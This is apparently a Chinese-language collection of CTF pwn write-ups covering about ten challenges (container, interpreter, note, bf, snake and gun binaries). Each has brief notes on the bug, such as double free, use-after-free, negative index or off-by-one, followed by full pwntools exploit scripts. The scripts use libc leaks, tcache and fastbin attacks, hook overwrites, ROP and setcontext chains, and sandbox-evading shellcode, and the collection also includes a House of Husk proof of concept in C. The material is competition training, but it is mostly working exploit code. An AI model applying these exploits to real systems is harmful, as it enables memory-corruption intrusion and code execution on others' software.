记录一些签到题
list vector queue stack
add delete show
每个只能创建两个
stack queue的delete是出栈出队
stack queue不能show
vector
pwndbg> x/20gx 0x8000000+0x207058
0x0000000008419e90
queue
pwndbg> x/20gx 0x8000000+0x207060
0x0000000008419eb0
stack
pwndbg> x/20gx 0x8000000+0x207068
0x000000000841a170
vector
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a490
0x8419ea0: 0x000000000841a4a0 0x0000000000000061
add0
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a498
0x8419ea0: 0x000000000841a4a0 0x0000000000000061
add1
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a4a0
0x8419ea0: 0x000000000841a4a0 0x0000000000000061
delete0
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a498
delete1
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a498
0x8419ea0: 0x000000000841a4a0 0x0000000000000061
发现异常
再次delete0成功
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80: 0x0000000000000000 0x0000000000000021
0x8419e90: 0x000000000841a490 0x000000000841a490
0x8419ea0: 0x000000000841a4a0 0x0000000000000061
出double free
pwndbg> bin
tcachebins
0x20 [ 3]: 0x841a430 —▸ 0x841a470 —▸ 0x841a450 ◂— 0x0
0xa0 [ 3]: 0x841a5f0 ◂— 0x841a5f0
经典 double free
from pwn import *
#r = process('./stl_container')
libc = ELF('/libc-2.27.so')
def add(tp,data):
r.recvuntil('>>')
r.sendline(str(tp))
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('input data:')
r.send(data)
def delete(tp,index):
r.recvuntil('>>')
r.sendline(str(tp))
r.recvuntil('>>')
r.sendline('2')
r.recvuntil('index?')
r.sendline(str(index))
def show(tp,index):
r.recvuntil('>>')
r.sendline(str(tp))
r.recvuntil('>>')
r.sendline('3')
r.recvuntil('index?')
r.sendline(str(index))
def pop(tp):
r.recvuntil('>>')
r.sendline(str(tp))
r.recvuntil('>>')
r.sendline('2')
def add_list(data):
add(1,data)
def delete_list(index):
delete(1,index)
def show_list(index):
show(1,index)
def add_vector(data):
add(2,data)
def delete_vector(index):
delete(2,index)
def show_vector(index):
show(2,index)
def add_queue(data):
add(3,data)
def pop_queue():
pop(3)
def add_stack(data):
add(4,data)
def pop_stack():
pop(4)
def fuck_addr(addr):
return addr-0x8408000
add_list('bbbb')
add_list('cccc')
add_stack('dddd')
add_stack('eeee')
add_queue('ffff')
add_queue('gggg')
add_vector('a')
add_vector('a')
pop_stack()
pop_stack()
pop_queue()
pop_queue()
delete_vector(0)
delete_vector(1)
show_vector(0)
r.recvuntil('data:')
leak = u64(r.recvline().strip().ljust(8,'\x00'))
log.info(hex(leak))
heap_base = leak-0x841a870+0x8408000
#heap_base = 0x8408000
log.success(hex(heap_base))
delete_vector(0)#uaf
#0x461
add_vector(p64(heap_base+fuck_addr(0x841a540)))
add_vector(p64(0)+p64(0x461))
delete_list(0)
delete_list(1)
add_list('cccc')
show_list(0)
r.recvuntil('data:')
leak = u64(r.recvline().strip().ljust(8,'\x00'))
libc_base = leak - 0x10-libc.sym['__malloc_hook']-96
malloc_hook = libc_base+libc.sym['__malloc_hook']
log.success(hex(libc_base))
log.success(hex(malloc_hook))
one = libc_base+0x4f322
add_queue(p64(malloc_hook)+'x'*8)
delete_list(0)
pop_queue()
pause()
add_stack(p64(malloc_hook))
pause()
add_stack(p64(one))
r.interactive()
题目为一个c语言解释器
可以调用一些函数,但是有限制
全局变量qword_206010,初始为1,调用函数后-1,不等于1不能调用,所以只能调用一次函数
在这里我们也可以看出允许调用哪些函数
只调用一次函数肯定无法getshell,所以最重要的就是实现多次函数调用,也就是要修改全局变量qword_206010
解释器允许我们打印变量地址,跟进变量地址发现,通过变量地址做偏移可以拿到栈指针
有了栈指针,我们就可以泄露栈上的数据,通过栈上的数据可以泄露出程序基址,有了基址就可以确定全局变量qword_206010的地址,使qword_206010可控,每次调用函数后把它再改回1就可以实现多次调用
同时我们也可以确定got表的地址,通过泄露got表,拿到libc基址
有了libc基址,我们可以确定free_hook,one_gadget地址
将one_gadget写入free_hook,调用free,即可getshell
from pwn import *
r = process('./pwn')
payload = '''
int main(){
int *a;
int *cnt;
int addr;
int libc_base;
int *leak;
int *free_hook_ptr;
char *p;
a=*(&a+3);
addr=*(a-5);
cnt=addr+0x2055a7;
leak=addr+0x20550f;
libc_base=*leak-0x6f690;
free_hook_ptr=libc_base+0x3c67a8;
*(free_hook_ptr)=libc_base+0x4526a;
*cnt=1;
p=malloc(0x60);
*cnt=1;
free(p);}
'''
r.recvuntil("I'm living...")
pause()
r.sendline(payload)
r.interactive()
存在非预期,index没验下界,可以输入负数,-5可泄露程序基址、堆地址、libc地址,edit -5可以改chunk_store,直接改成freehook然后edit写onegadget
show edit edit free 彳亍
预期解是tcache stashing unlink,但是👴懒得看
from pwn import *
#r = process('./note')
def menu(choice):
r.recvuntil('Choice:')
r.sendline(str(choice))
def add(index,size):
menu(1)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Size: ')
r.sendline(str(size))
def delete(index):
menu(2)
r.recvuntil('Index: ')
r.sendline(str(index))
def show(index):
menu(3)
r.recvuntil('Index: ')
r.sendline(str(index))
def edit(index,message):
menu(4)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Message:')
r.sendline(message)
def gift(index,message):
menu(7)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Message:')
r.sendline(message)
#x/64gx 0x555555554000+0x4080
#context.log_level='debug'
libc=ELF('./libc.so.6')
add(0,0)
show(-5)
leak= r.recvuntil('==========',drop=True)
print(leak.encode('hex'))
base = u64(leak[:8])-0x4008
log.success('base = '+hex(base))
stdout = u64(leak[24:32])
#log.success('stdout = '+hex(stdout))
stdin = u64(leak[40:48])
#log.success('stdin = '+hex(stdin))
stderr = u64(leak[56:64])
#log.success('stderr = '+hex(stderr))
heap_base = u64(leak[120:128])-0x260
log.success('heap_base = '+hex(heap_base))
libc_base = stdout -libc.sym['_IO_2_1_stdout_']
log.success('libc_base = '+hex(libc_base))
payload = leak[:8]+p64(0xffffffff)+p64(0xff)
payload += p64(stdout)+p64(0)
payload += p64(stdin)+p64(0)
payload += p64(stderr)+p64(0)
payload += p64(0)*6
payload += p64(libc_base+libc.sym['__free_hook'])+p64(0xff)+p64(0xff)
edit(-5,payload)
one = libc_base+0xe2383
edit(0,p64(one))
free(0)
#-5 -21 -27 -33
r.interactive()
bf 解释器
经典指针瞎几把☞
from pwn import *
#r = process('./bf')
elf = ELF('./bf')
libc = ELF('./libc.so.6')
payload = '+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]>---. <+++[ ->+++ <]>+. -.--- ----- -.<'
r.recvuntil('enter your code:')
r.sendline('+[>+++++++++].,')
r.recvuntil('running....\n')
low = r.recv(1)
print(ord(low))
r.send(chr(ord(low)-5+0x10+0x8))#f8
r.recvuntil('done! your code: ')
canary = u64(r.recv(8))
log.success(hex(canary))
stack = u64(r.recv(8).strip().ljust(8,'\x00'))
log.success(hex(stack))
r.send('y')
r.sendline('+[>+].,'+'a'*0x10)
r.send(chr(ord(low)-5+0x10+0x8+0x7))#ff
r.recvuntil('aaaaaaaaaaaaaaaa')
leak_base = u64(r.recv(8)[1:].strip().ljust(8,'\x00'))
base = leak_base-0x4980
log.success(hex(base))
main = base+0x1684
r.send('y')
r.sendline('+[>+-]')
r.send('y')
r.sendline('+[>--]')
r.send('y')
r.sendline('+[>-]')
r.send('y')
r.sendline('+[>-]')
fuck = base+0x19DD
main = base+0x1684
start = base+0x1420
puts_plt = base+elf.plt['puts']
puts_got = base+elf.got['puts']
read_plt = base+elf.plt['read']
write_plt = base+elf.plt['write']
pop_rsi_r15 = base+0x49e1
pop_rdi = base+0x49e3
pop3_ret = base+0x416f
fuck_rdx = base+0x21a6
#break *(0x21a6+0x555555554000)
#0x00000000000021a6 : mov rdx, qword ptr [rbp - 0x10] ; mov qword ptr [rax], rdx ; nop ; pop rbp ; ret
log.info(hex(fuck))
r.send('y')
payload = p64(canary)+p64(stack)+p64(0)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += p64(pop3_ret)+p64(stack-96+0x10)*3
payload += p64(fuck_rdx)+p64(0)
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(stack-96)+p64(0)+p64(read_plt)
payload += p64(0x400)
r.sendline(payload)
r.send('y')
r.sendline(p64(canary)+'+[>'+'-'*11+']')
r.send('y')
r.sendline('+[>'+'-'*5+']')
r.send('y')
r.sendline('+[>'+'-'*3+']')
r.send('y')
r.sendline('+[>'+'-'+']')
r.send('y')
r.sendline('+'*0xe+'\x00')
#gdb.attach(r)
r.send('n')
r.recvuntil('++++++++++++++\x00\nwant to continue?\n')
libc_base = u64(r.recv(6).ljust(8,'\x00'))-libc.sym['puts']
log.success(hex(libc_base))
open_addr = libc_base + libc.sym['open']
pop_rdx = libc_base+0x1b96
pop_rsi = libc_base+0x23e6a
bss=base+elf.bss()+0x50
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(read_plt)
payload += p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)
payload += p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(read_plt)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(write_plt)
r.sendline(payload)
r.sendline('./flag\x00')
r.interactive()
没开NX,一堆RWX段,明示shellcode
有沙箱,禁用open,需要利用retfq切换到32位
add index为有符号数,可以输入负数越界覆盖计数和got表
add中输入message有check,先向栈中写入,check后再通过strncpy拷贝到堆中,check不过直接exitcheck中检测的字节数是输入字节数-1,输入的最后一字节不需要check,可以申请到-22,覆盖exit_got,chunk中写一个\xc3,执行exit就会直接ret,绕过check
此时shellcode仍然有限制,由于使用strncpy,shellcode中不能有\x00打印chunk数据时调用了write,覆盖write_got,rsi已经布置好,可以很方便的通过shellcode执行read系统调用,向chunk中写入任意数据
提前覆盖free_got,通过执行write_got指向的shellcode覆盖free_got指向的chunk中的shellcode,可以任意写入shellcode
free_got指向的shellcode中两次read系统调用分别写入32位open和一个64位readwrite的shellcode,然后retfq,跳到32位open的shellcode
open执行完后跳回64位,执行readwrite,得到flag
from pwn import *
#r = process('./coolcode')
def add(index,mes):
r.recvuntil(' Your choice :')
r.sendline('1')
r.recvuntil('Index:')
r.sendline(str(index))
r.recvuntil('messages:')
r.send(mes)
def show(index):
r.recvuntil(' Your choice :')
r.sendline('2')
r.recvuntil('Index:')
r.sendline(str(index))
def delete(index):
r.recvuntil(' Your choice :')
r.sendline('3')
r.recvuntil('Index:')
r.sendline(str(index))
def shell64(shellcode):
shell_asm = asm(shellcode,arch='amd64')
print(shell_asm.encode('hex'))
return shell_asm
def shell32(shellcode):
shell_asm = asm(shellcode,arch='i386')
print(shell_asm.encode('hex'))
return shell_asm
add(-22,'\xc3')#exit_got
shellcode_64_free_read = '''
mov rsi,rdi
mov rdx,rdi
xor rdi,rdi
xor rax,rax
syscall
ret
'''
add(0,'1'*8)#overflow
add(-3,'1'*8)#clean cnt
add(-37,shell64(shellcode_64_free_read))#free_got 0x6039c0
shellcode_64_write_read = '''
dec rdi
mov rdx,rsi
mov rax,rdi
syscall
ret
'''
add(-3,'1'*8)#clean cnt
add(1,'1'*8)#padding
add(-3,'1'*8)#clean cnt
add(1,'1'*8)#padding
add(-3,'1'*8)#clean cnt
add(-34,shell64(shellcode_64_write_read))#write_got
show(0)
shellcode_64_free_read = '''
xor rdi,rdi
xor rax,rax
mov rsi,0x602300
mov rdx,0x200
syscall
xor rdi,rdi
xor rax,rax
mov rsi,0x602400
mov rdx,0x200
syscall
push 0x23
push 0x602308
retfq
'''
payload = 'a'*0x20+p64(0)+p64(0x31)+'a'*0x20+p64(0)+p64(0x31)+shell64(shellcode_64_free_read)
r.sendline(payload)
delete(2)
pause()
flag = 'flag\x00\x00\x00\x00'
binsh = '/bin/sh\x00'
open_32 = '''
xor eax,eax
mov eax,0x5
mov ebx,0x602300
xor ecx,ecx
int 0x80
jmp 0x33:0x602400
ret
'''
read_64 = '''
mov rdi,3
mov rsi,0x602500
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,0x602500
mov rdx,0x50
mov rax,1
syscall
ret
'''
r.sendline(flag+shell32(open_32)+'\x00')
r.sendline(shell64(read_64)+'\x00')
r.interactive()
死了之后留言,开始留言的位置由蛇死的位置决定,死在右下角index最大,此时留言可以覆盖到下一个chunk的size
蛇开局右上角一路向下,按s等死就行蛇死了之后有一堆对name的操作,getname把一个指针赋给buf,存在uaf,游戏中打印playername可以leak
留言覆盖size,伪造出unsorted bin,同时造成overlapping,利用getname泄露libc。
利用overlapping修改一个chunk size,然后覆盖fd,fastbin attack打malloc_hook
from pwn import *
#r = process('./snake')
elf = ELF('./snake')
libc = ELF('/libc-2.23.so')
def init_name(size,name):
r.recvuntil('how long?')
r.sendline(str(size))
r.recvuntil('input name')
r.sendline(name)
def menu(x):
r.recvuntil('4.start name')
r.sendline(str(x))
def add_name(index,size,name):
menu(1)
r.recvuntil('index?')
r.sendline(str(index))
r.recvuntil('how long?')
r.sendline(str(size))
r.recvuntil('name?')
r.sendline(name)
def delete(index):
menu(2)
r.recvuntil('index?')
r.sendline(str(index))
def get_name(index):
menu(3)
r.recvuntil('index?')
r.sendline(str(index))
def start():
menu(4)
def leave(word):
r.recvuntil('words:')
r.send(word)
r.recvuntil('exit?')
r.sendline('n')
def white_give():
for i in range(0x23):
r.send('s')
pause()
context.log_level = 'debug'
init_name(0x20,'aaaa')
r.sendline('')
white_give()
leave('aaaa')
add_name(1,0x20,'aaaa')
add_name(2,0x50,'aaaa')
add_name(3,0x20,'aaaa')
add_name(4,0x20,'aaaa')
add_name(5,0x20,'aaaa')
add_name(6,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
delete(5)
delete(6)
get_name(5)
start()
r.recvuntil('player name:')
leak = u64(r.recvuntil('\t',drop=True).strip(' ').ljust(8,'\x00'))
log.success(hex(leak))
white_give()
leave('1'*0x4c+'\xf1')
delete(0)
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(8,0x20,'aaaa')
get_name(1)
start()
r.recvuntil('player name:')
leak = u64(r.recvuntil('\t',drop=True).strip(' ').ljust(8,'\x00'))
libc_base = leak - 0x10-libc.sym['__malloc_hook']-0x58
white_give()
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base+ 0xf1147
leave('a')
add_name(7,0x40,'a'*0x20+p64(0)+p64(0x71))
add_name(9,0x60,(p64(0)+p64(0x21))*6)
delete(2)
delete(7)
add_name(7,0x40,'a'*0x20+p64(0)+p64(0x71)+p64(malloc_hook-0x13))
add_name(9,0x68,'a'*0x3+p64(one))
add_name(9,0x68,'a'*0x3+p64(one))
log.success(hex(libc_base))
log.success(malloc_hook)
log.success(hex(libc_base))
r.interactive()
merge 处使用了 strcpy 和 strcat,合并时会连着下一个chunk的size一起strcpy,配合strcat可以off-by-one,修改一个chunksize,造成heap overlaping
利用 merge 拿到大chunk,free 得到unsorted bin,泄露libc
开了沙箱,可以利用setcontext执行shellcode,orw拿flag,参考这篇博客
将setcontext+53
写入__free_hook
,__free_hook+0x8
写入一个__free_hook+0x10
,后面写read;jmp rsi
的shellcode
。
构造frame
,rip设置成mprotect
,准备将__free_hook&0xfffffffffffff000
之后的连续0x1000区域权限设置成7。找一个堆块存放frame
。
frame = SigreturnFrame()
frame.rip = 0 // setcontext之后执行的值
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0 // 3个参数
frame.rsp = 0 // rip执行完之后执行的值
frame.rax = 0
释放存放frame
的chunk
,此时执行到read
。
将事先准备好的getflag
的shellcode
发送到服务器,即执行shellcode
,得到flag。
from pwn import *
#r = process('./pwn')
def menu(choice):
r.recvuntil('>>>')
r.sendline(str(choice))
def add(size,content):
menu(1)
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content')
r.send(content)
def delete(index):
menu(2)
r.recvuntil('index:')
r.sendline(str(index))
def view(index):
menu(3)
r.recvuntil('index:')
r.sendline(str(index))
def edit(index,content):
menu(4)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('content')
r.send(content)
def merge(index1,index2,index3):
menu(5)
r.recvuntil('src index 1:')
r.sendline(str(index1))
r.recvuntil('src index 2:')
r.sendline(str(index2))
r.recvuntil('dst index:')
r.sendline(str(index3))
add(0x100,'a')
merge(0,0,1)
merge(1,1,2)
merge(2,2,3)
delete(3)
add(0x20,'a')#8
edit(3,'a'*8)
view(3)
r.recvuntil('a'*8)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ec190
free_hook = libc_base + 0x3ed8e8
log.success(hex(libc_base))
log.success(hex(free_hook))
add(0x80,'aaaa')#4
add(0x28,'a'*0x28)#5
add(0x60,'b'*0x5f+'\xa1/')#6
add(0x28,'a'*0x28)#7
delete(4)
merge(5,6,8)
delete(8)
delete(6)
add(0x90,p64(0)*3+p64(0x31)+p64(0)*5+p64(0x21)+p64(0)*3+p64(0x71)+p64(free_hook))#7
setcontext = libc_base+0x52110
newexe = free_hook & 0xfffffffffffff000
context.arch = 'amd64'
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % newexe
payload = p64(setcontext+53) + p64(free_hook+0x18)*2 + asm(shell1)
add(0x60,'aaaa')
add(0x60,payload)
mprotect = libc_base+1162240
log.success(hex(mprotect))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = newexe
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
frame.rip = mprotect
print(len(frame))
flag = '/flag\x00\x00\x00'
shell2 = '''
mov rax,%s
push rax
mov rdi,0
mov rsi,rsp
mov rdx,0
mov rax,257
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall
mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall
mov rdi,0
mov rax,60
syscall
''' % hex(u64(flag))
add(0x100,str(frame))
delete(9)
pause()
r.sendline(asm(shell2))
r.interactive()
uaf,可申请较大size,显然是裸的house of husk,直接照着poc改就行了,龙鸣,👴直接一血
有的队伍卡到 libc 了,👴直接盲猜,阴间见得多了就成阳间了。
poc
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
printf("%p\n",offset2size(PRINTF_FUNCTABLE - MAIN_ARENA) );
printf("%p\n",offset2size(PRINTF_ARGINFO - MAIN_ARENA) );
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);
free(a[2]);
/* ignite! */
printf("%X", 0);
return 0;
}
exp
from pwn import *
#r = process('./pwn')
def menu(choice):
r.recvuntil('Your choice:')
r.sendline(str(choice))
def add(index,size):
menu(1)
r.recvuntil('Index:')
r.sendline(str(index))
r.recvuntil('Size:')
r.sendline(str(size))
def edit(index,data):
menu(2)
r.recvuntil('Index:')
r.sendline(str(index))
r.recvuntil('Content:')
r.sendline(data)
def show(index):
menu(3)
r.recvuntil('Index:')
r.sendline(str(index))
def delete(index):
menu(4)
r.recvuntil('Index:')
r.sendline(str(index))
def leave():
menu(5)
def name(name):
r.recvuntil('name:')
r.sendline(name)
name('%X')
add(0,0x500)
add(1,0x9420)
add(2,0x1850)
add(3,0x500)
delete(0)
show(0)
r.recvuntil('Content: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-0x3ebca0
one = libc_base + 0x10a45c
#*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
edit(2,'\x00'*((ord('X') - 2) * 8)+p64(one))
global_max_fast = libc_base + 0x3ed940
edit(0,p64(leak)+p64(global_max_fast-0x10))
add(4,0x500)
delete(1)
delete(2)
#leave()
r.interactive()
shoot 链表没清零,存在uaf,可以leak,也可以double free。glibc2.31,tcache不能直接 double free,需要先填满然后进 fastbin,再取出来进行 tcache attack开了沙箱,orw。
可以利用setcontext。在glibc2.31中选择setcontext+61,需要进行栈迁移,把栈迁移到堆上
做的时候直接照着这篇博客改的
用了这个gadget
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget写入freehook,rop链等数据在堆上布置好后,执行free可以触发
from pwn import *
def debug():
print pidof(r)
pause()
def send_name(name):
r.recvuntil("name: ")
r.sendline(name)
def shoot(times):
r.recvuntil("Action>")
r.sendline("1")
r.recvuntil("time:")
r.sendline(str(times))
def load(idx):
r.recvuntil("Action>")
r.sendline("2")
r.recvuntil("load?")
r.sendline(str(idx))
def buy(size, content):
r.recvuntil("Action>")
r.sendline("3")
r.recvuntil("price")
r.sendline(str(size))
r.recvuntil("Name")
r.send(content)
#r = process("./gun", level="info", aslr=False)
send_name("A" * 0x18)
buy(0x409, "FOR_LEAK_USE\n")
buy(0x10, "NO_CONSOLIDATE\n")
load(0)
shoot(1)
buy(0x10, "\n")
load(1)
load(0)
shoot(2)
r.recvuntil("The ")
#leak = u64(r.recvuntil("\x15") + "\x00\x00")
leak = u64(r.recvuntil("\x7f") + "\x00\x00")
libc_base = leak - 0x1ebbe0 - 0x3f0
print hex(libc_base)
buy(0x60, "fastbin\n")#0
buy(0x60, "fastbin\n")#1
buy(0x60, "fastbin\n")#2
buy(0x60, "fastbin\n")#3
buy(0x60, "fastbin\n")#4
buy(0x60, "fastbin\n")#5
buy(0x60, "fastbin\n")#6
buy(0x60, "fastbin\n")#7
buy(0x60, "fastbin\n")#8
buy(0x60, "fastbin\n")#9
buy(0x60, "fastbin\n")#10
load(0)
load(1)
load(2)
load(3)
load(4)
load(5)
load(6)
load(7)
load(8)
shoot(9)
buy(0x60, "fastbin\n")#0
load(0)
load(9)
shoot(2)
load(10)
shoot(2)
r.recvuntil('Pwn! The fastbin bullet fired.')
r.recvuntil('Pwn! The ')
heap_leak = u64(r.recvuntil(' bullet fired.',True).ljust(8,'\x00'))
heap_base = heap_leak+0x555555559000-0x5555555592e0
log.success(hex(heap_base))
libc = ELF('./libc-2.31.so')
free_hook = libc_base+libc.sym['__free_hook']
environ = libc_base+libc.sym['environ']
setcontext = libc_base+libc.sym['setcontext']
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, p64(free_hook)+'\n')
buy(0x60, p64(free_hook)+'\n')
buy(0x60, p64(free_hook)+'\n')
libc.address = libc_base
context.arch = 'amd64'
p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
syscall = 0x000000000002584d + libc.address
ret = 0x0000000000025679 + libc.address
magic = 0x154930+libc_base
buy(0x60,p64(magic)+'\n')#10
buy(0x100, "/flag\x00\n")#11
flag_str_address = heap_base - 0x555555559000+0x5555555597e0+0x10
flag_w_address = heap_base - 0x555555559000+0x5555555597e0+0x10
orw_address = heap_base - 0x555555559000+0x555555559a10+0x10
frame_address = heap_base - 0x555555559000+0x5555555598f0+0x10+0x10
log.info(hex(frame_address))
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rsi_r, flag_w_address,
p_rdx_r12_r, 0x40, 0,
libc.sym['read'],
p_rdi_r, 1,
p_rsi_r, flag_w_address,
p_rdx_r12_r, 0x40, 0,
libc.sym['write']
])
payload = p64(0) + p64(frame_address)
payload += p64(0)*4 + p64(setcontext+61)
payload += b"\x00"*(0xa0-0x28) + p64(orw_address) + p64(ret)
buy(0x110,payload+'\n')#12
buy(0x120, orw+'\n')#13
load(12)
log.success(hex(magic))
r.interactive()
c 语言写的解释器,考虑到出题人大概率不会为了出题专门写个解释器,所以猜测源码是拽别人的,找一行代码去 GitHub 搜一波,找到原项目,彳亍
https://github.com/yunwei37/tryC
那必是塞洞,和题目文件 diff,发现多了字符串类型,测试发现字符串存在 uaf,彳亍。
通过一个 unsorted bin 的 uaf 可以轻松泄露 libc 基址。
交互时的输入的数据经过 atof 处理后储存,且 read 不能对字符串进行操作。
考虑精心构造堆布局,在输入的 code 文件中,利用 double free 覆盖 free chunk 的 fd 的一字节,打乱正常的堆布局,同时也可以修改 chunk size,造成堆块重叠。
控制 fd 指向 freehook 和向 freehook 写入数据只能通过交互完成,由于 read 只能对浮点数操作,所以需要使用堆块重叠和错位,使一个大小为 0x50 的 free chunk 的 fd 刚好为一个 浮点数组储存浮点数的位置。
输入浮点数,atof 可以处理科学记数法,所以可以通过科学计数法写入任意值,这里用 js 脚本处理,手动输入。
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.u32 = new Uint32Array(this.buf);
this.f64 = new Float64Array(this.buf);
}
u2f(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
f2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[0] + tmp[1] * 0x100000000;
}
}
mem = new Memory();
console.log(mem.u2f(0x7f9d01b288c0))
两次 read,写入 freehook 地址 和 system 地址,然后 free 一个 /bin/sh 字符串
远程和本地的堆在地址上相差 0x10,本地打通后修改覆盖值即可。
本地exp
puts("AAAA");
a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b = a;
c = a;
a = "AAAAAAAA";
puts(b);//leak
